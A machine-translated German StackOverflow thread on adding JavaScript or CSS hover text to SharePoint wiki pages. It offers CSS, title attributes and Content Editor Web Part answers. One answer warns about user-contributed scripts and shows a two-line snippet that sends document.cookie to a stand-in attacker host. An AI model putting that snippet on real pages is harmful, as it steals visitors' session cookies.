Frage

Wie kann ich als Wiki admin, geben Sie Scripting (Javascript) in eine Sharepoint-Wiki-Seite?
Ich möchte einen Titel geben und, wenn sie auf das Klicken auf eine kleine Erklärung darunter angezeigt zu haben. Ich habe in der Regel getan, dass mit Javascript, andere Idee?

War es hilfreich?

Lösung

Unter der Annahme, sind Sie der Administrator des Wikis und sind bereit, die Anzeige auf Mouseover diese statt auf klicken, Sie brauchen kein Javascript überhaupt - Sie können gerade CSS verwenden. Hier ist ein Beispiel der Stile und Markup:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

Bei einigen beteiligten Arten, Ihre Tooltip-Box kann so schön aussehen, wie Sie mögen.

Andere Tipps

Wenn die Wiki-Autoren klug sind, gibt es wahrscheinlich keine Möglichkeit, dies zu tun.

Das Problem mit benutzer beigetragen JavaScript ist, dass es die Tür für alle Formen der Übeltäter öffnet Daten aus dem ahnungslosen zu greifen.

Nehmen wir an, Übel mir ein Skript auf einer öffentlichen Webseite Beiträge:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Jetzt werde ich die Cookie-Informationen von jedem Besucher der Seite, erhalten in ein Protokoll auf meinem Server geschrieben. Und das ist nur die Spitze des Eisbergs.

Es hängt ganz von der speziellen Wiki-Software Sie verwenden. Die Art, wie ich Arbeit gesehen habe, ist eine js Datei woanders hosten und dann mit einem Script-Tag mit einem src-Attribute enthalten.

Wenn sie nicht zulassen, dass, vielleicht lassen sie ein IFRAME, die Sie auf eine Seite festlegen, die das Skript enthält. Unter Verwendung der zweiten Technik, werden Sie nicht erlaubt werden, um die DOM-Seite Host zugreifen.

Ich mag die CSS Antwort. Wenn Sie CSS anstelle von Javascript verwenden können, ergibt sich in einfacher Markup.
Eine andere Sache zu prüfen, ist die Gemeinschaft Kit für Sharepoint erweiterte Wiki Edition auf Codeplex. Sie können den Quellcode herunterladen und in Ihren eigenen Funktionen hinzuzufügen. Oder Sie können im Forum dies als neue Funktion vorschlagen.

Das klingt wie ein Sicherheitsrisiko dar. Es scheint, es möglich ist, für die Wiki-Admin-Skripte zu installieren, finden Sie unter wikipedia des Benutzers Skripte .

Wenn Sie sich über die Verwendung von Javascript als Teil einer Web-Seite auf dieser Seite sprechen, können Sie nicht. Oder jede andere öffentliche Wiki was das betrifft -. Es ist ein Sicherheitsrisiko

Wenn Sie sprechen über ein Codebeispiel veröffentlichen, klicken Sie auf ‚101010‘ Knopf über dem Textfeld ein.

Es wäre natürlich hängen von der Wiki-Engine, um Sie reden. Wahrscheinlich aber, wie sblundy sagt, es wäre ein Sicherheitsrisiko sein, um die freie Nutzung von Javascript auf der Wiki-Seite zu ermöglichen.

Sie sollten nicht in der Lage sein, Javascript-Code für öffentliche Wiki hinzuzufügen. Wenn Sie es selbst hosten, dann müssen Sie für ein bestimmtes Wiki-System fragen, so jemand kann Ihnen helfen, die Einstellungen zu ändern -. Wenn möglich für das System

In title="text here" einen Tag und es sollte einen Text zeigen, wenn auf sie schwebt.
Internet Explorer zeigt den Text, wenn Sie das alt="text here" Attribut verwenden, aber das ist nicht nach den Standards.

ich getestet jetzt, und Sie können <h2 title="some explanation here">headline</h2> auf jedes System basiert auf wikimedia (die Wikipedia verwendet) hinzuzufügen.

Verwenden Sie ein Content Editor Web Part

Von der Band, wählen Sie Insert und Web Part wählen. Aus dem Menü gehen Media and Content zu Content Editor und wählen. Von der neu webpart die Drop-Down-Menü erstellt, wählt Edit Web Part. Von der rechten webpart Einstellungsmenü, erweitern Appearance und setzen Chrome Type None. Klicken Sie Click Here to Add Content auf der webpart und suchen Edit HTML Source in dem Band. Sie können ohne HTML in diesem Bereich verwenden Sie es weg hygienisiert werden.

Hinweis: Wenn Sie auf Hinzufügen von Verhalten zu vielen Seitenelemente planen, können Sie Dateien in Stilbibliothek laden Js und umfassen nur den <script src="..."> Tag im Content-Editor. Sie können auch in mit einem benutzerdefinierten Master oder das Seitenlayout suchen.

Quelle: https://cobwwweb.com/how-to -run-Javascript-on-Sharepoint-Seiten

Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top